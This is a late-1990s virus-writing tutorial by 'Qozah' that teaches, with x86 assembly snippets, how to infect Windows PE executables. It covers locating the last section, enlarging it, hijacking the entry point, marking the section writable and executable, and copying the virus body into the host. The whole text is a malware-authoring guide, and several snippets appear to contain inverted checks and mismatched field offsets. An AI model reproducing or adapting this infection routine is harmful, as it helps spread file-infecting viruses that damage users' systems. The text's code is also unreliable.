컴컴컴컴컴컴컴컴컴컴컴컴� WIN32 PE INFECTION TUTORIAL 쳐컴컴컴컴컴컴컴컴컴� 읕컴컴컴컴� By Qozah 쳐컴컴컴켸 Objectives on this article ~~~~~~~~~~~~~~~~~~~~~~~~~~ I wrote this article just a bit later than when I started infecting PE, as all concepts were clear in mind, specially the things I felt most difficult when working it out. The infection method described consists on adding the virus to the file's last section, but the thing is that you GET how it works. If you get it, you can make any kind of variation you want, such as adding another section, infecting .reloc space, etc etc. You can copy&paste a PE infection, but then you will never know how they do work, and that's the thingie. I hope this helps: I wrote it with the intention on you to learn, so if you do I've accomplished my objective. PE format ~~~~~~~~~ You have a lot of resources to know how PE format is; anyway, the best is probably Matt Pietrek's, which you can download on Griyo/29A's homepage. PE is structured this way: 旼컴컴컴컴컴컴컴컴컴� � MZ Header � 쳐컴컴컴컴컴컴컴컴컴� � PE\0\0 � 쳐컴컴컴컴컴컴컴컴컴� � IMAGE_FILE_HEADER � 쳐컴컴컴컴컴컴컴컴컴� � 냄 쳐컴컴컴컴컴컴컴컴컴눴IMAGE_OPTIONAL_HEADER � Data directory 넨 쳐컴컴컴컴컴컴컴컴컴� � Section Table � 쳐컴컴컴컴컴컴컴컴컴� � � � Sections 냐컴 .reloc, .edata, .idata, .text, etc � � 읕컴컴컴컴컴컴컴컴컴� So in a small brief, I can tell you there is a DOS header ( where there is also the program which is loaded to tell you "this is win32, you asshole" when you try to execute it under a non-win32 system ), then the Image File Header ( the main one ), then the Image Optional Header ( which can be considered divided in two parts ), the the Section Table and finally the sections' data ( can be stack ones, code, data, etc ). Infecting a PE file ~~~~~~~~~~~~~~~~~~~ Well, you're supposed to have opened a suitable file for infection: I don't mind if you use file mapping or pointer access ( yuck! ), but at this point you should have done it. I suppose that you have in edx ( why not ? ) the pointer to the begging of the memory mapped file. So, the first thing you have to do is locale the PE header, and this is done by looking at the 03ch offset in the MZ header. If you want to do some tests, look if ds:[dx] is 'MZ' or 'ZM': cmp word ptr ds:[edx],'M'+'Z' jz end_infection mov edx,dword ptr ds:[edx+3ch] ; Offset of real PE header Now your next objective would be checking if you have a real Portable Executable file there. you can just do that by checking the four first bytes on the new offset to be "PE\0\0", that is, PE and two zeroed bytes :-P. cmp word ptr ds:[edx],'EP' jz end_infection So now the real fun begins, and you have to mess with the diverse stuff in the PE. Instead of giving lots of code, what I want is to make you UNDERSTAND what the hell is going on there. I don't want this full of people working the same infection by copying this code I'm setting, but knowing what to do when they want to perform one. First you have to locate which PE section is the last. After the EXE header and the Image Header there's the OptionalHeader... and finally, we can find the Section Table, that is, where a description and some data on each section is found. If we want to add our code to the last section, modifying this table is truly neccesary The first problem some coders have is... how do I access the Section Table ? Well, there are two ways: - The image File Header has a fixed number of bytes, that is, 18h. So, to find the Image Optional Header we just have to add to our old edx that number of bytes. Then, we know the Section Table is just AFTER the Image Optional Header, but it doesn't have a fixed length. First way is more complicated and not better; the IOH has two parts, the first one of fixed length: 60h bytes. This part is the one which contains some fields with important data for the file. The second part is not fixed length, and is called data directory or "Image_Data_Directory" also. This table is an array of entries, which contains RVAs and some other stuff which I won't describe here. The stuff is, that you can take it's length by watching the offset 74h from the PE\0\0 ( that is, the EDX we had ) and then access the Section Table: that offset, which is the last field on the Image_Optional_Header first part, is called as "NumberOfRvaAndSizes", indicating the number of entries in the Data Diretory array. But let's not complicate things. We have just a really trivial method, as the length of the optional header is stored in a Word in offset 14 from the "PE\0\0" ( have I again to repeat it would be DX+14h? ). So, we get that DX in example, pass it to SI, add it 18h ( so SI points to the beggining of the optional header ), and then add the Word on the offset DX+14h ( which is called SizeOfOptionalHeader ;-) ) to that SI. Then, keep in mind now we have DX in the PE\0\0, and SI points to the beggining of the Section Table. mov esi,edx add esi,18h add esi,dword ptr [edx+14h] So, as this is done, now we have to find the last section. The structure we're pointing at is an array which contains all sections in a specific format, beeing 28h bytes each of them. Place Length What the hell is it 0h 8h Section's name ( .edata, .reloc, .p0rn ) 8h 4h VirtualSize 0ch 4h SizeOfRawData 14h 4h PointerToRawData 18h 4h PointerToRelocations 1ch 4h PointerToLinenumbers 20h 2h NumberOfRelocations 22h 2h NumberOfLinenumbers 24h 4h Characteristics At this point, as you know you want to make the last section bigger, you could think that last section is the last array also. False, yep, it doesn't have to be. How to know it then ? Well, we have one field that is called "PointerToRawData", that is, a pointer to that section's code to say it easy. So, just you have to check all section entries, and that with the biggest PointerToRawData is the one we want. Of course, we have to know the number of sections... from PE\0\0, it's the offset 6h, the Word which contains that number: xor ecx,ecx mov cx,word ptr ds:[edx+06h] ; number of sections mov edi,esi xor eax,eax push cx X_Sections: cmp dword ptr [edi+14h],eax ; is PointerToRaw bigger than actual? jz Not_Biggest mov ebx,ecx ; put the number of section in ebx mov eax,dword ptr [edi+14h] ; get that pointer Not_Biggest: add edi,28h ; look at next table entry loop X_Sections pop cx ; Now, substract where we found it sub ecx,ebx ;to the number of sections. Now on ecx we have a number that will be 0 for the first section, 1 for the second, etc. We just multiply it by 28h ( which is the length of any of the table entries, each section ) and adding it to esi we get that desired last section: mov eax,028h push edx ; Save PE header mul ecx pop edx add esi,eax So, we have to act on that section of the file. There are three things I've got to describe so you get the point, beeing them fields on the Section Table entry we're at ( look above if you don't remember them ) - VirtualSize is the real size of the section, the number of bytes of that section. - SizeOfRawData is the same that VirtualSize BUT rounded up to the alignment. - Alignment ( this is placed in OptionalHeader, not in these fields in the specific section entry as it's same for all ) is a size which the file size in the PE Header and the SizeOfRawData field have to be divided by. For example, let's imagine we have a section which has a VirtualSize of 1256h bytes, while the Alignment field in the Optional Header contains then number 200h. Then, we can easily know that the field in SizeOfRawData HAS to be 1400h. Why ? Because we have to round UP that 1256h to it's nearest value that is divisible by the Alignment, that is, 200h. So, as now you know how do these three data fields work, the next part can't be that difficult. The next objective is making the section bigger so your virus can fit there. For that reason, you should add the virus size to the VirtualSize field first of it all. mov edi,dword ptr ds:[esi+10h] ; Save PointerToRawData ( that's ;for future use when setting EP ) mov eax,virlength xadd dword ptr ds:[esi+8h],eax ; Exchange and add to destiny push eax add eax,virlength ; Now eax = [esi+8h], that is, ;field 8h plus vir_length Now the VirtualSize has grown, so the SizeOfRawData should be wrong. Imagine that the old VirtualSize was 556h while the Alignment was 200h, and the SizeOfRawData 600h... if your virus is 800h bytes long, the new VirtualSize will be 0d56h, so SizeOfRawData is incorrect: it's value has to be the VirtualSize rounded up to a value that can be divided by the Alignment; in this case, it should be 0e00h ( which can be divided by 200h, and is the nearest one rounded up that can be ) Let's watch some code: push edx mov ecx, dword ptr ds:[edx+03ch] ; Here is the alignment xor edx,edx div ecx ; eax held virtual size. xor edx,edx inc eax ; This is the quotient of the VirtualSize divided ;with the Alignment plus 1. mul ecx ; And we multiply the Alignment plus eax, so we ;get the new SizeOfRawData mov ecx,eax mov dword ptr ds:[esi+10h],ecx ; now here is the SizeOfRawData pop edx Well, this is going cool, isn't it ? Now you have calculated the new SizeOfRawData and stored it. What are you going to do now ? You just get a value I pushed before which is VirtualSize before beeing modified by the virus ( 8h field ), and you are getting your new entry point. pop ebx ; This is VirtualSize - virlength That is, VirtualSize before beeing added the virlength :) Now is when you save the old entry point address, which is in the offset 28h starting from the PE\0\0 thingie. Not much left to say, but how do you get the new entry point ? Let's hear what our friend Mark Ludwig in the description of offset 0ch of any entry at the Section Table: 0ch DWORD VirtualAddress In EXE's, this field holds the RVA for where the loader should map the section to. To calculate the real starting address of a given section in memory, add the base address of the image to the section's VirtualAddress stored in this field. [etc] Well, it can't be easier, can it ? We take the VirtualAddress of the section, then add it the OLD section length and voila ! we just have the end of it... the new entry point :) add ebx,dword ptr ds:[esi+0ch] ; VirtualAddress mov eax,dword ptr ds:[edx+028h] ; Old entry point mov dword ptr ds:[ebp+entry_point],eax mov dword ptr ds:[edx+28h],ebx ; Set new one Again, we have to calculate the file length aligned: this is for the whole file, not just the last section. So, using the new SizeOfRawData and substracting it the old one, you know the aligned value of how much has it grown. Just add it to the SizeOfImage field and you get the new aligned filesize. Looking at the code above, we had in ecx the SizeOfRawData, which we substract from the value in edi, that is, what we saved before that consists on the olf SizeOfRawData sub ecx,edi add dword ptr ds:[edx+50h],ecx ; add to SizeOfImage Finally, we set the Characteristics field from the Section Table entry. You won't want it to give you problems, aha ? There are lot of flags that can be set in that field ( which is offset 24h on each table entry ) as code, initialized data, uninitializeddata, not needed, executable, etc. We want to make it executable, code and writable, so we have to OR it with 0x00000020 (code), 0x20000000 ( executable ) and 0x80000000 ( writable ). or dword ptr ds:[esi+24h],0A0000020h Now we just have to copy our virus to the file. By popping edi I'm getting the old memory mapped file pointer in memory ( where it is right now ), which is the beggining of it ( MapViewOfFile returns a "handle" which is it's base address ). It must have been saved cuz if not you wouldn't close the mapped object . You have to add to this the PointerToRawData where it says where the section is, then add section's old length ( cuz you're at the end of it ). pop edi push edi add edi,dword ptr ds:[esi+14h] add edi,dword ptr ds:[esi+8h] mov ecx,virlength sub edi,ecx ; old length ;) lea esi,[ebp+starts] ; Where the virus starts rep movsb So, there's nothing left to do. We have calculated the size, we have changed the entry point, and saved it; other stuff is up to you. The next thing you should do is returning to the host, it's important =), and of course finding a way to get the GetProcAddress and GetModuleHandle APIs for that second generation, but that's another story. P.D.: Just the base address plus the old entry point, and then you, oh, blah, nothing :) 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 컴컴캑 Written by Qozah, Finland '98 쳐컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�